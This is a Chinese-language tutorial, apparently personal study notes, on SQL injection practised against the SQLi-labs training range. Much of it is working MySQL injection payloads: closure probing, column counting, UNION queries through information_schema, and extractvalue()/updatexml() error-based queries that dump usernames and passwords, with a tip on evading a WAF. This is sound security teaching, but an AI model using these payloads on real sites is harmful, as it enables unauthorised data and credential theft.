SQL注入学习(配合SQLi-lab靶场)
前提条件:
在进行sql注入时,首先要确定网页有注入点,一般在URL地址栏中,或者含有输入框的地方会有
SQL注入步骤:
1、判断注入类型
首先判断是什么类型的注入,用id=1 and 1=1 和id=1 and 1=2 判断是数字类型注入还是字符型注入 如果二者都能进行正常显示界面,则为字符型注入,否则是数字型注入
(小技巧:可以用id=2-1判断,如果页面显示的和id=1相同则为数字型注入,如果和id=2相同,则为字符型注入) 字符型注入要看闭合条件(数字型就不用看),所以要判断闭合方式。
2、找到闭合方式(字符型注入)
将id=1后面加'或"查看报错,我们插入的'与前面的形成闭合,然后在后面加--+来注释掉后面的闭合,中间就可以插入我们的查询语句了。
?id=1' union select --+
注意上面这条语句是直接输入到url后面的,不是清空url地址栏输入的!
3、确定列数
所以,在用union之前,要判断列数是多少,一般通过group by二分法测试 如:id=1' group by 10 --+ 回车报错的话,再测试id=1' group by 5 --+ 如果查出来了表示可以,继续测试下去 同样使用order by也能判断列数是多少,这里的重点在于order by后既可以填列名或者是一个数字。 举个例子: id是user表的第一列的列名,那么如果想根据id来排序,有两种写法:
注意union查询要保证前面和后面的查询,列数一致!!! 所以,在用union之前,要判断列数是多少,通过group by二分法测试 如id=1' group by 10 --+ 回车报错的话,在测试id=1' group by 5 --+ 如果查出来了表示可以,继续测试下去 同样使用order by也能判断列数是多少,这里的重点在于order by后既可以填列名或者是一个数字。 举个例子: id是user表的第一列的列名,那么如果想根据id来排序,有两种写法:
select * from user order by id;
selecr * from user order by 1;
判断完列数之后,可以用union进行查询了,比如列数是3
在url后面输入:(Less-1)
?id=1' union select 1,2,3--+
查看回显,没有报错
更改id查看不同的行:
?id=2' union select 1,2,3--+
我们发现,更改id后面的值,就可以查看数据库中的不同的行的内容,记住这个id值,后面会用到
4、用基本函数查看信息
注意观察页面,要用有回显的列数来查看,比如上一个例子中,就不能用id=1的列,查到了也不会有反馈,用id=2或id=3则可以查看
接下来我们使用sql注入来查看数据库的基本信息:其中version(),database()分别是用来查看数据库版本和当前数据库名字的函数。
?id=-1' union select 1,version(),database()--+
为什么上面的id=-1呢?
因为页面只能显示一个内容,第二句(即union 后面的内容)是不显示的,可以把第一句(id=1)的内容改成数据库不存在的数据,如id=-1 或id=0都可
ok,以上四个小点,是sql注入的基本流程,以后的sql注入中虽然有不同的类型,但是基本流程就是这样子,接下来学习不同类型的sql注入
在此之前,需要了解一个重要的知识点information_schema ,这个是mysql数据库中自带的一个系统库,叫做信息数据库,里面存放着两张重要的表,tables和columns 我们必须了解这两张表中的几个信息,以便于日后更好的注入
给大家一个链接,大家可以仔细观察库中这两张表的基本内容
MySQL 中的 information_schema 数据库_object 'profiling' not found within 'information_s-CSDN博客
接下来我们学习使用这张表来获取信息
如何拿到当前数据库的表名列名?
?id=-1' union select 1,2,table_name from information_schema.tables--+
information_schema.tables 就是确定information_schema里的这张tables表
table_name
是 information_schema.tables
表中的一个列,也是information_schema.columns
的一个列,用于表示数据库中表格的名称。这个列存储了每个表格在数据库中的实际名称。因此,通过查询 information_schema.tables
表,并选择 table_name
列,你可以获取到数据库中所有表格的实际名称。
column_name是information_schema.columns
的一个列,通过查询 information_schema.columns
表,并选择 column_name
列,你可以获取到数据库中所有列的名称列表。
然后回车查看:
成功取到当前表的表名咯~
再来一个:
?id=-1' union select 1,2,table_name from information_schema.tables where table_schema=database()--+
table_schema 是对应的表名所属的数据库名(如果大家还不太理解,建议去看上面的链接研究一下,懂了之后你会恍然大悟的)
table_name:需要查询的列名称,表示将会输出表的名称。
from information_schema.tables:从information_schema库中的tables表中获取数据,该表包含了所有数据库的元数据信息,例如表名、列名等。
where table_schema=database():按照数据库名筛选表。其中,database()是MySQL内置函数,用于返回当前正在使用的数据库名称。
我们已经知道了数据库名为security,为啥还要用database()来获取呢? 因为这样有概率绕过WAF
成功获取表名emails
group_concat():确保所有查询信息能放到一行显示出来,非常好用
如:拿到当前数据库的所有表名
?id=-1' union select 1,group_concat(table_name), 3 from information_schema.tables where table_schema='security'
emails、referers等就是table_name下的表名啦
查找数据库security中数据表users的列名:
?id=-1' union select 1,2, group_concat(column_name) from information_schema.columns--+ where table_schema=database() and table_name='users'
查找数据表users中的所有username和password
?id=-1' union select 1,2, group_concat(username,':',password) from users--+
5、字符型union注入和数字型union注入区别
其实以上的所有例子都是字符型注入的实例,在这里只要区分一下二者的小区别即可
数字型union注入与字符型注入基本相同,只是少了找到闭合方式这一步而已,因为数字型注入没有' " )等的闭合,所以会少一步
6、报错注入
找了一张图来方便理解报错注入?
构造语句,让错误信息中夹杂可以显示数据库内容的查询语句Less-5
?id=1' union select 1,2,database()--+
我们使用上述正确的语句,但是不会有回显,但是会报错,从中来获取信息
?id=1' union select 1,2,datadase()--+
1、通过extractvalue()报错注入
extractvalue(列名,查询内容的路径),第二个参数要故意输入错误,导致报错注入
?id=1' union select 1,extractvalue(1,concat(0x7e,(select database()))),3--+
需要查询别的数据只需要更改(select database())里面的语句即可
例如:(其中0x7e是~号? ? concat()的作用是拼接)
?id=1' union select 1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables))),3--+
用以下语法查找users的账号密码,发现回显的只有32个字符(就是不能把所有的信息一次输出完毕)。我们利用substring( )来解决这个问题
?id=1' union select 1,extractvalue(1,concat(0x7e,(select group_concat(username,':',password) from users))),3--+
?id=1' union select 1,2,extractvalue(1,concat(0x7e,substring((select group_concat(username,password) from users),1,30)))--+
更改SUBSTRING(string,position,length) 函数中的后两位,即可查看未显示的部分
?id=1' union select 1,2,extractvalue(1,concat(0x7e,substring((select group_concat(username,password) from users),10,30)))--+
拼接上述信息就可以查到完整信息了
2、updatexml()报错注入
updatexml(XML_document,XPath_string,new_value)
XML_document:是string的格式,为XML文档对象的名称
XPath_string:是路径,XPath格式的字符串 (需要输入错误,来导致报错注入)
new_value:string格式,替换查找到符合条件的数据
?id=1" and 1=updatexml(1,concat('~',(select database())),3)--+
?id=1" and 1=updatexml(1,concat(0x7e,substring((select group_concat(username,password) from users),1,31)),3)--+
笔记太多,后续会继续上传~~~
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!